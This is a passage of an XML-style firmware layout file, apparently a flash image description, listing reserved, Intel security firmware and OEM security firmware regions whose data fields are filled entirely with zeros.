00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <!-- END Reserved --> <!-- BEGIN Security Firmware --> <hdr_node name="Intel Security Firmware" byte_cnt="8192" offset="6000"> <data>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000</data> </hdr_node> <hdr_node name="OEM Security Firmware" byte_cnt="12288" offset="8000"> <data>0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000